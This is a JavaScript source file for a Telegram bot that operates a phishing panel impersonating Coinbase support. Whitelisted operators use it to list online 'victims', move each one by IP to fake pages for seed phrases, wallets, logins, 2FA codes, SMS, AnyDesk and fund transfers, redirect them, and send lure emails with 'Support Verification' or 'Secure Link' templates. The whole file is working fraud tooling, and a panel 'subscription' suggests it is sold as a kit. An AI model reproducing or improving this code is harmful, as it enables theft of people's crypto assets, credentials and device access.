import { parentPort } from 'worker_threads'
import fetch from 'node-fetch'
import dotenv from 'dotenv'
import { join } from 'path'
import { existsSync } from 'fs'
import { fileURLToPath } from 'url'

const __dirname = fileURLToPath(new URL('.', import.meta.url))
const mailerPath = join(__dirname, 'mailer.py')

dotenv.config()
const BOT_TOKEN = process.env.BOT_TOKEN
const URL_H = process.env.NEXT_PUBLIC_SOCKET_URL
const SEND_UPDATES = true
let WHITELIST = [6665874252, 8013501550, 7508689453, 7648071334, 6911245811, 8146717036,8017926736]

const TEMPLATES = [
  { name: 'Support Verification', value: 'srv' },
  { name: 'Secure Link', value: 'securelink' },
]

let TEMP = {}
let ANS = {}

/*    Sms = 'sms',
    Seed = 'seed',
    Login = 'login',
    Wallet = 'wallet',
    Unlink = 'unlink',
    TwoFactor = '2fa',
    Review = 'review',
    ResetPw = 'resetpw',
    Loading = 'loading',
    Anydesk = 'anydesk',
    Session = 'session',
    EstMoney = 'estmoney',
    Security = 'security',
    FundTransfer = 'fundt',
    VideoCall = 'videocall',
    LastActivity = 'activity',
    WalletFlow = 'walletflow',
    LoginPassword = 'login_pw',
    WalletFlow2 = 'walletflow2', */
  const PAGES = [
      { name: 'Sms', value: 'sms' },
      { name: 'Seed', value: 'seed' },
      { name: 'Login', value: 'login' },
      { name: 'Wallet', value: 'wallet' },
      { name: 'Unlink', value: 'unlink' },
      { name: 'Two Factor', value: '2fa' },
      { name: 'Review', value: 'review' },
      { name: 'Reset Pw', value: 'resetpw' },
      { name: 'Loading', value: 'loading' },
      { name: 'Anydesk', value: 'anydesk' },
      { name: 'Session', value: 'session' },
      { name: 'Est. Money', value: 'estmoney' },
      { name: 'Security', value: 'security' },
      { name: 'Fund Transfer', value: 'fundt' },
      { name: 'Video Call', value: 'videocall' },
      { name: 'Last Activity', value: 'activity' },
      { name: 'Wallet Flow', value: 'walletflow' },
      { name: 'Login Password', value: 'login_pw' },
      { name: 'Wallet Flow 2', value: 'walletflow2' },
    ];
    

parentPort.on('message', mes => {
  if (mes.action === 'request_value') {
    const { page, chatId, messageId, authorId, clientId } = mes
    ANS[authorId] = { page, chatId, messageId, authorId, clientId }
  }
})

async function getUpdates (offset = null) {
  try {
    const url = `https://api.telegram.org/bot${BOT_TOKEN}/getUpdates`
    const response = await fetch(url, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ offset })
    })
    const data = await response.json()
    //console.log(JSON.stringify(data))
    if (data.ok && Array.isArray(data.result)) {
      for (const update of data.result) {
        if (update.message && update.message.text) {
          const chatId = update.message.chat.id
          const text = update.message.text.trim()
          const userId = update.message.from.id

          if (ANS[userId]) {
            const { page, chatId, messageId, clientId } = ANS[userId]
            parentPort.postMessage({
              page,
              chatId,
              messageId,
              text,
              clientId,
              action: 'confirm'
            })
            delete ANS[userId]
          }
          if (text.startsWith('/id')) {
            await sendMessage(chatId, `\`[ID]->\` \`${chatId}\``)
            continue
          }
          if (text.startsWith('/') && !WHITELIST.includes(userId)) {
            await sendMessage(chatId, 'Not whitelisted.')
            continue
          }

          if (text.startsWith('/whitelist')) {
            const [id] = text.split(' ').slice(1)
            if (!id) {
              await sendMessage(chatId, 'Usage:\n\n/whitelist `<user id>`')
            } else {
              if (WHITELIST.includes(id)) {
                await sendMessage(
                  chatId,
                  `\`[!]\` User \`${id}\` is already whitelisted.`
                )
                return
              }
              const parsedId = parseInt(id, 10)
              if (isNaN(parsedId)) {
                await sendMessage(chatId, 'Invalid user ID.')
                return
              }
              WHITELIST.push(parsedId)
              console.log(WHITELIST)
              await sendMessage(chatId, `\`[!]\` Whitelisted \`${id}\``)
            }
          }

          if (text.startsWith('/mail')) {
            // /mail emailto, caseid, link, rep
            //if not mailer.py in root, tell that mailer is not active
            if (!existsSync(mailerPath)) {
              await sendMessage(
                chatId,
                `\`[!]\` Your panel subscription doesn't include the mailer.`
              )
              continue
            }
            const [emailTo, caseId, link] = text.split(' ').slice(1)
            const rep = text.split(' ').slice(4).join(' ')
            console.log(rep)
            if (!emailTo || !caseId || !link || !rep) {
              await sendMessage(
                chatId,
                'Usage:\n\n/mail `<emailTo> <caseId> <link> <representative>`'
              )
            } else {
              TEMP[chatId] = { chatId, emailTo, caseId, link, rep }
              const buttons = TEMPLATES.map(({ name, value }) => {
                return [
                  {
                    text: name,
                    callback_data: `set_template:${chatId}:${value}`
                  }
                ]
              })
              await sendMessage(
                chatId,
                `\`[+]\` Victim: \`${emailTo}\`\n\n• Choose a template:`,
                buttons
              )
            }
          }

          if (text.startsWith('/victims')) {
            parentPort.postMessage({ chatId, action: 'victims' })
          }

          if (text.startsWith('/redirect')) {
            const [url] = text.split(' ').slice(1)
            if (!url) {
              await sendMessage(chatId, 'Usage:\n\n/redirect `<url>`')
            } else {
              parentPort.postMessage({ chatId, action: 'redirect_s', url })
              //await sendMessage(chatId, `[Redirecting](${url})`)
            }
          }

          if (text.startsWith('/goto')) {
            const [ip] = text.split(' ').slice(1)
            if (!ip) {
              await sendMessage(chatId, 'Usage:\n\n/goto `<victim ip>`')
            } else {
              const buttons = PAGES.map(({ name, value }) => {
                return [
                  {
                    text: name,
                    callback_data: `goto:${ip}:${value}`
                  }
                ]
              })
              //console.log(buttons)
              await sendMessage(chatId, `\`[+]\` Redirect \`${ip}\`:`, buttons)
            }
          }

          if (text.startsWith('/help')) {
            const res = await sendMessage(
              chatId,
              '`[!]` Commands:\n\n• /id \\- Get chat ID\n• /victims \\- Show all the online victims\n• /redirect \\- Redirect a victim outside the panel\n• /goto \\- Move a victim to a different page\n• /mail \\- Send email\n• /whitelist \\- Whitelist your caller\n• /help \\- Show this message'
            )
            //console.log(res)
          }
        }
        if (update.callback_query) {
          const { id, data, from } = update.callback_query

          const [action, clientId, approve] = data.split(':')
          await fetch(
            `https://api.telegram.org/bot${BOT_TOKEN}/answerCallbackQuery`,
            {
              method: 'POST',
              headers: { 'Content-Type': 'application/json' },
              body: JSON.stringify({ callback_query_id: id })
            }
          )
          if (action === 'set_template') {
            try {
              console.log(update.callback_query.message.from)
              const messageId = update.callback_query.message.message_id
              const { chatId, emailTo, caseId, link, rep } = TEMP[clientId]
              const subject = 'Coinbase Support'
              TEMP[clientId] = {
                chatId,
                emailTo,
                subject,
                caseId,
                link,
                rep,
                tmpl: approve
              }
              const template = TEMPLATES.find(({ value }) => value === approve)
              const message = `⚙️ Config:\n\n• Email To: \`${emailTo}\`\n• Subject: \`${subject}\`\n• Representative: \`${rep}\`\n• Case ID: \`${caseId}\`\n• Secure Link: \`${link}\`\n• Template: \`${template.name}\``
              await editMessage(chatId, messageId, message, [
                [
                  { text: 'Send', callback_data: `send:${clientId}:true` },
                  { text: 'Cancel', callback_data: `send:${clientId}:false` }
                ]
              ])
            } catch (error) {
              await sendMessage(clientId, 'Error setting template')
            }
          }
          if (action === 'send') {
            try {
              if (approve === 'false') {
                await sendMessage(clientId, '📧 Email sending cancelled')
                continue
              }
              const { chatId, subject, emailTo, caseId, link, rep, tmpl } =
                TEMP[clientId]
              const a = await fetch(`${URL_H}/api/mail`, {
                method: 'POST',
                headers: {
                  'Content-Type': 'application/json'
                },
                body: JSON.stringify({
                  subject,
                  emailto: emailTo,
                  caseid: caseId,
                  link,
                  tmpl,
                  rep
                })
              }).then(res => res.json())
              console.log(a)
              if (a.success) {
                await sendMessage(chatId, `📧 Email sent successfully\\!`)
              } else {
                await sendMessage(chatId, `📧 Error sending email`)
              }
            } catch (error) {
              console.log(error)
              await sendMessage(clientId, 'Error setting template')
            }
          }
          if (action === 'approve') {
            const isApproved = approve === 'true'
            const messageId = update.callback_query.message.message_id
            const chatId = update.callback_query.message.chat.id
            parentPort.postMessage({
              clientId,
              action: 'approve',
              isApproved,
              chatId,
              messageId
            })
          }
          if (action === 'goto') {
            const messageId = update.callback_query.message.message_id
            const chatId = update.callback_query.message.chat.id
            const authorId = update.callback_query.from.id
            parentPort.postMessage({
              chatId,
              action: 'goto',
              messageId,
              page: approve,
              clientIp: clientId,
              authorId
            })
          }
          if (action === 'r') {
            const messageId = update.callback_query.message.message_id
            //console.log(update.callback_query)
            const chatId = update.callback_query.message.chat.id
            parentPort.postMessage({
              chatId,
              action: 'redirect',
              clientId,
              messageId
            })
          }
        }
      }

      if (data.result.length > 0) {
        const lastUpdateId = data.result[data.result.length - 1].update_id
        setTimeout(() => getUpdates(lastUpdateId + 1), 1000)
      } else {
        setTimeout(() => getUpdates(offset), 1000)
      }
    } else {
      setTimeout(() => getUpdates(offset), 1000)
    }
  } catch (error) {
    console.error('Error fetching updates:', error)
    setTimeout(() => getUpdates(offset), 5000)
  }
}

if (SEND_UPDATES) {
  console.log('Getting telegram updates..')
  getUpdates()
}

async function sendMessage (chatId, message, buttons = []) {
  const msg = message.replaceAll('.', '\\.')
  console.log('[SENDING] Sending reply..')
  const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage?parse_mode=MarkdownV2`
  const data = {
    chat_id: chatId,
    text: msg,
    reply_markup: {
      inline_keyboard: buttons
    }
  }

  fetch(url, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
  })
    .then(response => response.json())
    .then(data => {
      console.log(data)
    })
    .catch(error => {
      console.log('Error sending message:', error)
    })
}

async function editMessage (chatId, messageId, message, buttons = []) {
  const msg = message.replaceAll('.', '\\.')
  console.log('[SENDING] Editing message..')
  const url = `https://api.telegram.org/bot${BOT_TOKEN}/editMessageText?parse_mode=MarkdownV2`
  const data = {
    chat_id: chatId,
    message_id: messageId,
    text: msg,
    reply_markup: {
      inline_keyboard: buttons
    }
  }

  fetch(url, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
  })
    .then(response => response.json())
    .then(data => {
      return data
    })
    .catch(error => {
      console.log('Error sending message:', error)
    })
}
